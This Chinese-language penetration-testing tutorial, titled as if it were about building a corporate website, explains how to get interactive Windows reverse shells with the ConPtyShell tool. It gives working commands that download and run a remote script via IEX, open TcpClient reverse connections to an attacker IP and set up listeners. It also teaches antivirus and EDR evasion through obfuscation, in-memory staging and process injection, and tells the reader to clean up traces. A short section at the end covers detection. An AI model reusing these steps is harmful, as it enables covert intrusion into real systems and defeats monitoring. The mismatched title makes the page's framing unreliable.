企业官网建设流程全解析

1. 项目概述：为什么我们需要关注ConPtyShell的三种玩法？

在渗透测试和红队评估的实战中，获取一个稳定的、功能完整的交互式Shell是后续所有操作的基础。传统的反向Shell，比如用Netcat或者PowerShell的IEX拉取的，往往存在一个致命问题：它们不是“真正的”控制台。这意味着你无法运行像powershell.exe、python这样的交互式程序，无法使用Ctrl+C中断命令，也无法享受TAB补全和命令历史。这种感觉就像隔着一层毛玻璃操作，非常别扭且效率低下。

ConPtyShell的出现，就是为了打碎这层毛玻璃。它巧妙地利用了Windows 10（1809之后）和Windows Server 2019引入的“伪终端”（ConPTY）API，在远程为我们模拟出一个原生的Windows控制台环境。简单来说，它能让你的攻击机上的终端（如Kali的Terminal）和目标Windows机器上的cmd.exe或powershell.exe建立一条“原生通道”，让你获得近乎本地操作般的体验。

网上关于ConPtyShell的讨论很多，但大多零散，只讲其中一种用法。在实际攻防演练中，环境千变万化，只会一招鲜很容易吃瘪。有的环境出网顺畅，有的则限制严格；有的需要快速建立连接，有的则要求隐蔽和持久。因此，深入理解并掌握其标准连接、手动配置和会话升级这三种核心用法，并根据现场情况灵活组合，是每个红队成员必须修炼的内功。这篇文章，我就结合自己多次内网渗透的实战经验，把这三种方法的原理、操作、优劣和适用场景给你掰开揉碎了讲清楚。

2. ConPtyShell核心原理与前置知识拆解

在动手之前，我们必须先搞明白ConPtyShell到底是怎么工作的。知其然更要知其所以然，这样在遇到问题时你才能自己排查，而不是对着错误代码干瞪眼。

2.1 伪终端（ConPTY）是什么？

你可以把传统的Windows控制台（conhost.exe）想象成一个“翻译官”。用户通过键盘输入字符，conhost.exe接收后，将其翻译成系统能理解的信号，交给背后的命令行程序（如cmd.exe）执行；程序输出的结果，再由conhost.exe翻译成字符，显示在屏幕上。

ConPTY（Console Pseudoterminal）是微软提供的一套API，它允许任何应用程序（比如我们的ConPtyShell客户端）来扮演这个“翻译官”的角色。ConPtyShell由两部分组成：

1. 服务端（Invoke-ConPtyShell.ps1）：运行在目标机器上。它的核心工作是调用CreateProcessAPI，并指定dwFlags包含EXTENDED_STARTUPINFO_PRESENT和STARTF_USESTDHANDLES，同时通过STARTUPINFOEX结构体传入一个伪终端句柄。这样，新创建的进程（如cmd.exe）就会把它自己的标准输入、输出、错误流，全部绑定到这个伪终端上，而不是默认的控制台窗口。
2. 客户端（conptyshell.py 或 conptyshell.exe）：运行在攻击机上。它启动一个伪终端，并监听一个网络端口。当服务端连接上来后，客户端就将伪终端的输入输出与网络套接字（Socket）桥接起来。于是，你在攻击机终端里敲的字符，通过网络传到目标机，进入伪终端，最后被cmd.exe读取执行；cmd.exe的输出则沿着原路返回，显示在你的攻击机终端上。

2.2 三种方法的核心差异与选型逻辑

为什么会有三种方法？本质上是“控制权”和“复杂度”的权衡。

• 标准连接（-ConPtyShell）：这是最“傻瓜式”的方法。服务端脚本（Invoke-ConPtyShell.ps1）内置了连接逻辑，你只需要指定攻击机的IP和端口，它就会自动尝试连接并启动会话。优点是命令简单，一键完成。缺点是所有行为都固化在脚本里，不够灵活，且流量特征相对固定。
• 手动配置（-Manual）：这种方法将“建立网络连接”和“创建ConPTY进程”这两个步骤解耦。你先用任何你喜欢的方式（如PowerShell的TCPClient、Netcat的反弹）建立一个最基础的、非交互的Shell通道。然后，在这个基础Shell里，手动执行命令来创建并附加到ConPTY进程。优点是极度灵活，你可以使用任何隐蔽的、定制化的方式建立初始连接，避开了标准脚本的固定特征。缺点是步骤稍多，需要手动拼接命令。
• 会话升级（-Upgrade）：这是手动配置的一个特化和优化场景。假设你已经通过某种方式（比如WebShell、WinRM、SSH甚至一个普通的Netcat Shell）获得了一个非交互的会话。你不想重新建立连接，只想“升级”当前这个会话的体验。那么，你就在当前会话里执行命令，生成一个新的ConPTY进程，并将当前会话的输入输出重定向到它上面。这就像给你的破旧自行车（非交互Shell）装上了一台V8发动机（完整终端）。

选型决策流程图（心法）：

1. 目标出网是否顺畅，且对流量特征不敏感？ →是，用标准连接，最快最省事。
2. 需要高度定制化初始连接，或绕过特定检测？ →是，用手动配置。
3. 已经有一个现有会话，只想改善它的交互性？ →是，用会话升级。

3. 环境准备与工具部署详解

工欲善其事，必先利其器。我们先在攻击机上把环境搭好。

3.1 攻击机（Kali Linux）环境搭建

ConPtyShell的客户端是用Python写的，所以我们需要Python环境。Kali一般自带，但最好确认一下。

# 1. 更新包列表并安装必要的依赖（如果python3-pip没装的话） sudo apt update sudo apt install -y python3 python3-pip git # 2. 克隆ConPtyShell仓库 git clone https://github.com/antonioCoco/ConPtyShell.git cd ConPtyShell # 3. 检查客户端脚本 ls -la # 你会看到关键的几个文件： # - Invoke-ConPtyShell.ps1 # 服务端PowerShell脚本 # - conptyshell.py # Python版客户端（推荐，跨平台） # - conptyshell.exe # Windows版客户端（如果你要在Windows攻击机上用） # 4. 为conptyshell.py添加执行权限（可选，方便直接运行） chmod +x conptyshell.py

注意：conptyshell.py依赖于Python的标准库socket、pty、signal等，在Kali上通常无需额外安装。如果在其他Linux发行版上运行报错，请根据错误信息安装相应的包。

3.2 服务端脚本处理与免杀考量

Invoke-ConPtyShell.ps1这个文件是要传到目标机器上执行的。直接上传原文件，被AV/EDR抓到的概率很高。我们必须处理一下。

方法一：代码混淆与分割（推荐给新手）使用工具如Invoke-Obfuscation对脚本进行混淆。但更实用的方法是“分割加载”：将脚本拆分成多个字符串片段，在内存中拼接执行。这里给出一个简单的示例：

# 假设我们把Invoke-ConPtyShell.ps1的内容base64编码后存为一个变量 $EncodedScript = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-Content -Path .\Invoke-ConPtyShell.ps1 -Raw))) # 然后在目标机器上这样执行 $DecodedScript = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedScript)) Invoke-Expression $DecodedScript

当然，实际中我们会把$EncodedScript这个很长的字符串进一步拆分，通过多个Web请求或不同渠道传递，最后在目标机内存中拼接、解码、执行。

方法二：直接嵌入到其他工具中如果你使用Cobalt Strike、Metasploit等框架，它们通常有内置的PowerShell内存执行功能（如powerpick、execute-assembly后面加载PE）。你可以将ConPtyShell的功能重写为一个C#项目，编译成DLL，然后通过Assembly.Load在内存中加载。这需要一定的开发能力，但规避效果最好。

实操心得：对于紧急任务，我常用一种“半手工”方式。先在测试机上用Invoke-Obfuscation混淆生成一个脚本，然后用Notepad++等编辑器手动调整一些函数名、变量名，去掉一些明显的特征字符串。虽然不能保证完全免杀，但能绕过一部分静态检测。真正的对抗是持续的猫鼠游戏。

3.3 网络与防火墙策略预判

在行动前，心里要对目标网络有个谱：

• 出网协议：目标机器能访问外网吗？是直接出网还是通过代理？如果通过代理，你的客户端需要支持代理设置吗？（标准Python的socket不支持，可能需要改用requests库或SOCKS代理）。
• 端口可用性：你打算让客户端监听哪个端口？443、8443、3389（RDP端口）等常用服务端口可能不会被出口防火墙拦截，但也要小心触犯内部安全策略。最好提前用Test-NetConnection或telnet从目标内网其他机器探测一下。
• 监听地址：攻击机是公网IP还是内网IP？如果是内网横向移动，你需要监听在0.0.0.0（所有接口）上。

4. 方法一：标准连接（-ConPtyShell）实战演练

这是最直接的用法，我们从一个完整例子开始。

4.1 完整操作流程与命令详解

攻击机（Kali， IP: 192.168.1.100）操作：

# 进入ConPtyShell目录 cd ConPtyShell # 启动Python客户端，监听在4444端口 python3 conptyshell.py -l 4444 # 或者使用 ./conptyshell.py -l 4444

此时，你的Kali终端会挂起，等待连接。

目标机（Windows， 已获取初始执行权限）操作：我们需要以某种方式让目标机执行PowerShell命令。假设我们已经通过一个WebShell或漏洞获得了执行命令的能力。

# 方法A：直接下载并执行（不推荐，容易被拦截） IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell -RemoteIp 192.168.1.100 -RemotePort 4444 # 方法B：将脚本内容复制粘贴到目标机的PowerShell会话中执行（适合已有交互式PS会话） # 1. 在攻击机上，读取脚本内容并做简单处理（比如删除注释行、压缩空格） cat Invoke-ConPtyShell.ps1 | sed '/^#/d' | tr -s ' ' | head -n 50 # 先看看前50行 # 2. 将处理后的脚本内容，分段复制到目标机的PowerShell窗口执行。 # 3. 最后执行核心命令： Invoke-ConPtyShell -RemoteIp 192.168.1.100 -RemotePort 4444

当目标机上的命令执行后，你会立刻在Kali的conptyshell.py终端里看到一个崭新的、可以按Ctrl+C、有补全的cmd.exe提示符（默认是cmd，也可以通过-Shell参数指定为powershell）。

4.2 参数解析与高级用法

Invoke-ConPtyShell函数有几个关键参数：

• -RemoteIp和-RemotePort：指定客户端地址和端口，必须的。
• -Shell：指定要生成的Shell类型。默认是cmd。可以设为powershell来获得一个原生的PowerShell控制台。这里有个坑：如果你指定powershell，获得的是powershell.exe的交互式控制台，而不是PowerShell Core (pwsh)。两者的模块和命令略有不同。
• -Rows和-Cols：指定伪终端的行数和列数。默认是24行80列。如果你的终端窗口很大，可以设大一点（比如-Rows 50 -Cols 200），这样显示dir或netstat的输出会更整齐，避免折行混乱。
• -Force：如果目标系统不支持ConPTY（比如Windows 7），使用这个参数会尝试回退到传统的管道方法，但体验会差很多。

一个更完整的命令示例：

Invoke-ConPtyShell -RemoteIp 192.168.1.100 -RemotePort 4444 -Shell powershell -Rows 40 -Cols 150

4.3 标准连接的优缺点与典型陷阱

优点：

• 简单快捷：一条命令解决战斗，适合在时间紧迫、环境简单的情况下使用。
• 功能完整：直接获得最佳交互体验。

缺点与陷阱：

1. 流量特征明显：脚本中包含了System.Net.Sockets.TcpClient等敏感类型名称，网络连接行为也很规律，容易被流量审计设备发现。
2. 依赖PowerShell：必须能在目标机上执行PowerShell脚本。如果PowerShell执行策略受限（Restricted）或日志审计严格，这一步就可能失败或暴露。
3. 单次性：连接断开后，会话就结束了。需要重新执行命令建立连接，不适合需要持久化的场景。
4. 错误处理不足：如果网络不通或端口被占，脚本报错信息可能直接显示在目标机上，不够隐蔽。

避坑指南：使用标准连接时，务必先用Test-NetConnection 192.168.1.100 -Port 4444从目标机测试一下到攻击机的连通性。避免脚本执行后卡住，引起怀疑。

5. 方法二：手动配置（-Manual）深度剖析

当标准连接行不通或者太“张扬”时，手动配置就派上用场了。其核心思想是：分而治之。

5.1 原理：分离连接与终端创建

手动配置模式下的Invoke-ConPtyShell.ps1脚本，提供了一个-Manual开关。启用后，脚本不会主动去连接你的攻击机，而是会做两件事：

1. 在本地（目标机）创建一个监听端口（比如5555），或者连接到某个你指定的已存在的网络流。
2. 在这个网络流的基础上，生成一个ConPTY进程（如cmd.exe），并将该进程的输入输出与这个网络流绑定。

这样一来，你作为攻击者，就需要做两步：

• 第一步：用任何你擅长的方式，建立一条从目标机到攻击机的、最基础的、原始的TCP连接（一个Socket流）。
• 第二步：让目标机执行手动模式的ConPtyShell脚本，告诉它“请使用我第一步建立好的那个网络流，来创建一个漂亮的终端”。

5.2 分步实操：从零搭建一个隐蔽Shell

我们模拟一个场景：目标机防火墙只允许出站443端口（HTTPS），且对PowerShell脚本执行有监控。

步骤1：在攻击机准备一个接收端我们不直接用conptyshell.py监听，而是先用一个简单的Netcat监听，接收最原始的连接。

# 攻击机 Kali nc -lvnp 443 > /tmp/raw_socket_stream

这个命令监听443端口，并将接收到的所有原始数据存到文件/tmp/raw_socket_stream中。同时，我们也会手动向这个连接发送数据。

步骤2：在目标机建立原始反向连接我们需要一个不依赖PowerShell脚本的、尽量低调的方式建立TCP连接。可以用certutil、bitsadmin下载一个小的.NET程序，或者直接用PowerShell的TCPClient但把代码混淆得非常短。 这里用一个极简的PowerShell命令建立连接（实际中需要混淆）：

$c=New-Object System.Net.Sockets.TcpClient('192.168.1.100',443);$s=$c.GetStream()

此时，Kali的Netcat应该显示连接已建立。这条连接现在就是一个纯粹的、双向的Socket流。

步骤3：在目标机执行手动模式ConPtyShell现在，我们需要让ConPtyShell脚本利用上一步创建好的$s这个流对象。这需要我们在同一个PowerShell会话里完成。所以，通常我们会把步骤2和步骤3的代码写在一起，一次性执行。

# 这是一个组合命令示例（需提前将Invoke-ConPtyShell.ps1的函数定义加载到当前会话） # 假设函数已加载，我们手动调用其内部函数 $c=New-Object System.Net.Sockets.TcpClient('192.168.1.100',443);$s=$c.GetStream() # 关键：调用脚本中的 Start-ConPty 函数（这是手动模式的核心），并传入我们创建好的流 $s Start-ConPty -InputStream $s -OutputStream $s -Shell cmd

Start-ConPty是Invoke-ConPtyShell.ps1脚本内部的函数，-Manual模式本质上就是调用了它。你需要把整个脚本的函数定义都加载到当前PowerShell环境，或者更常见的做法是，直接分析脚本，把Start-ConPty函数及其依赖的所有代码提取出来，合并成一条长长的、混淆过的命令来执行。

步骤4：在攻击机切换为ConPTY处理器目标机执行成功后，Netcat连接会进入一个“奇怪”的状态——它收到了ConPTY初始化的一些控制字符。这时，我们需要把Netcat连接交给能理解ConPTY协议的客户端来处理。

1. 首先，在Kali上Ctrl+C断开Netcat。
2. 然后，使用conptyshell.py的-c参数来连接一个已经存在的Socket文件描述符。但是，conptyshell.py默认不支持从文件描述符读取。所以我们需要变通。
3. 更实用的方法是：在第一步就用conptyshell.py监听，但让它以“原始模式”工作。实际上，conptyshell.py-l监听后，当有连接进来，它自己就会去处理ConPTY协议。因此，手动配置的最终形态往往是：让目标机主动连接到一个由conptyshell.py监听的端口。

所以，更优的实战流程是：

1. 攻击机：python3 conptyshell.py -l 443
2. 目标机：执行一个只负责建立连接到攻击机443端口的“Stager”（引导程序），这个Stager的代码里不包含ConPtyShell的核心逻辑，体积可以非常小。
3. 目标机：Stager连接成功后，再通过这个连接，将真正的ConPtyShell功能代码（手动模式）传输过去并执行。这类似于“反射加载”。

5.3 手动配置的灵活性与隐蔽性优势

手动配置的强大在于“解耦”：

• 初始连接方式无限可能：你可以用任何方式建立那个最初的Socket流。比如，通过WebSocket（wss://）、DNS隧道、ICMP隧道，甚至利用合法的云服务API（如AWS S3、Azure Blob）进行数据中继。只要最终能建立一个双向的字节流，就能嫁接ConPTY。
• 规避静态检测：ConPtyShell的主功能代码可以在第二阶段传输，不一定要写在初始的漏洞利用或木马里。这样，第一阶段的加载器可以做得非常干净，绕过静态查杀。
• 适应复杂网络：如果目标机只能通过特定代理出网，你可以在第一阶段代码里实现代理逻辑，而ConPTY部分对此无感知。

实操心得：手动配置模式是我在绕过EDR时最常用的方法。我通常会准备一个只有几行代码的、高度混淆的PowerShell或C# Stager，它的唯一任务就是连接我的C2服务器并下载第二阶段的“工具包”。这个工具包里就包含了配置好的手动模式ConPtyShell代码。这样，即使Stager被检测，核心的终端模拟功能也不一定暴露。

6. 方法三：会话升级（-Upgrade）场景化应用

会话升级可以看作是手动配置的一个自动化、场景化的封装。它的典型场景是：你已经有一个“哑巴”Shell了，怎么让它变“聪明”？

6.1 识别可升级的会话类型

什么样的会话可以被升级？

• WebShell：你通过文件上传漏洞获得了一个ASPX/PHP/JSP的WebShell，能执行命令，但输出是网页形式，没有交互。
• WinRM/SSH非交互式登录：你通过WinRM或SSH执行单条命令成功，但没有获得一个持续的、交互式的会话。
• 传统的反向Shell：你用Netcat、PowerShellIEX获得了一个反向Shell，可以输入命令看到输出，但无法运行交互式程序，Ctrl+C会终止整个会话。
• 计划任务/服务执行：你通过创建计划任务或服务执行了一个命令，并捕获了其输出流。

这些会话的共同点是：你有一个可以执行命令的入口，并且能获取到命令的标准输出。升级的目标，就是将这个入口，变成ConPTY进程的“控制台”。

6.2 升级操作：将现有Shell转化为全功能终端

假设我们已经通过一个WebShell，拿到了一个命令执行点。我们执行whoami，返回nt authority\system。

升级步骤：

1. 在攻击机启动ConPtyShell监听器：

   python3 conptyshell.py -l 4445

2. 在现有的“哑巴”Shell中，执行升级命令。 这是最关键的一步。我们需要一个命令，这个命令能：

   • 连接到攻击机的4445端口。
   • 启动一个ConPTY进程（如cmd.exe）。
   • 将ConPTY进程的输入输出重定向到这个新连接。
   • 同时，不能阻塞我们当前这个“哑巴”Shell的执行，否则我们就失去控制了。

   我们可以利用PowerShell的Start-Job或Start-Process在后台完成这个任务。但更经典、兼容性更好的方法是使用msfvenom生成一个小的反向Shell负载，但这个负载本身是ConPTY-aware的。然而，ConPtyShell项目并没有直接提供一个“升级”脚本。

   因此，会话升级的本质，就是在当前会话中，执行“方法二：手动配置”。你需要把手动配置的那一串代码，通过你现有的这个“哑巴”Shell送进去执行。

   例如，在WebShell中，你可以这样写（假设PowerShell可用）：

   # 将Invoke-ConPtyShell.ps1的代码压缩成一行，并通过IEX执行 $code = 'function Invoke-ConPtyShell {...}' # 这里是完整的、压缩过的函数定义 IEX $code # 然后调用它，建立反向连接 Invoke-ConPtyShell -RemoteIp 192.168.1.100 -RemotePort 4445

   如果你的“哑巴”Shell不是PowerShell（比如是cmd通过echo写的VBScript），过程会更曲折，可能需要分多次写入文件再执行。

3. 切换控制台：当升级命令在目标机后台执行成功后，你的conptyshell.py监听器会收到连接，并提供一个全功能终端。此时，你就可以关闭那个难用的WebShell页面了。

6.3 会话升级的独特价值与注意事项

价值：

• 体验飞跃：直接将一个难以使用的接口，变成得心应手的终端，极大提升后续操作效率。
• 维持访问：升级后的ConPTY Shell通常更稳定，不容易因为网络波动或简单操作而断开。
• 绕过限制：某些环境可能禁止直接执行外联的PowerShell脚本，但允许通过已有的WebShell上传和执行文件。你可以将ConPtyShell脚本上传，然后通过WebShell调用它，实现升级。

注意事项：

1. 进程树问题：通过WebShell（如IIS的w3wp进程）启动的ConPTY Shell，其父进程是Web服务进程。这在进程审计中可能显得可疑。可以考虑使用进程注入等技术，将ConPTY迁移到更正常的进程（如explorer.exe）下。
2. 双会话冲突：升级后，你实际上有两个会话：旧的“哑巴”Shell和新的ConPTY Shell。注意不要在旧会话里执行会干扰新会话的操作（比如杀掉相关进程）。
3. 清理痕迹：升级成功后，记得在旧Shell中清理掉上传的脚本文件或执行的命令历史。

常见问题：升级命令执行了，但攻击机没收到连接。排查思路：首先，检查目标机到攻击机端口的连通性（在旧Shell里执行Test-NetConnection）。其次，检查防火墙是否放行了出站连接。最后，检查ConPtyShell脚本是否在目标机上执行成功，查看是否有错误信息输出到旧Shell中（PowerShell的错误流可能没有正确重定向）。

7. 三种方法横向对比与决策指南

为了更直观地对比，我将三种方法的核心特性总结如下表：

决策指南（实战口诀）：

• “快”字当头，内网横行：在内网横向移动，目标机器众多，追求效率时，用标准连接。批量执行脚本，快速获取一批交互式Shell。
• “绕”字为先，对抗检测：面对EDR、防火墙深度检测时，用手动配置。精心构造你的Stager和C2通信方式，将ConPTY功能作为第二阶段载荷。
• “改”字为要，提升体验：当你通过漏洞只获得一个“鸡肋”般的Shell时，用会话升级。不惜多花些步骤，把它变成一个功能完整的终端，为后续深入利用打下坚实基础。

8. 防御视角：如何检测与防范ConPtyShell攻击

了解了攻击，才能更好地防御。作为蓝队，你需要关注以下点：

1. 进程创建监控：关注conhost.exe的异常启动。正常的conhost.exe是由用户登录会话创建的。而ConPtyShell会从一个非交互式进程（如powershell.exe、w3wp.exe）中创建conhost.exe，并且其命令行参数可能包含--headless等特征。在SIEM中建立规则，对非用户交互会话下产生的conhost.exe进程进行告警。
2. PowerShell日志分析：ConPtyShell严重依赖PowerShell。启用并集中收集PowerShell的脚本块日志（Script Block Logging）。查看日志中是否包含CreateProcess、STARTUPINFOEX、EXTENDED_STARTUPINFO_PRESENT等关键API参数，以及大量的Base64编码字符串（可能是在传递混淆后的脚本）。
3. 网络流量特征：虽然手动配置可以伪装，但标准连接的流量模式相对固定。可以检测到内网主机向非常用端口（如4444, 4433等）发起的长连接TCP会话，并且该会话的流量模式呈现出交互式终端的特点（小数据包、双向、有规律的心跳或Keep-Alive）。
4. 父-子进程关系异常：检查是否有powershell.exe->cmd.exe或powershell.exe->conhost.exe->cmd.exe这样的进程链，但其父进程powershell.exe并非由explorer.exe或用户登录会话启动。
5. 应用白名单：在关键服务器上，严格限制PowerShell的执行，仅允许来自授权管理员的会话使用。对于Web服务器，限制其子进程创建能力，防止w3wp进程生成cmd.exe或powershell.exe。

ConPtyShell是一种强大的攻击技术，它模糊了“远程Shell”和“本地控制台”的界限。对于红队，熟练掌握其三种模式，意味着在各种严苛环境下都能游刃有余。对于蓝队，理解其原理和实现细节，则是构建有效检测规则的第一步。攻防的博弈，就在这些细节的对抗中不断升级。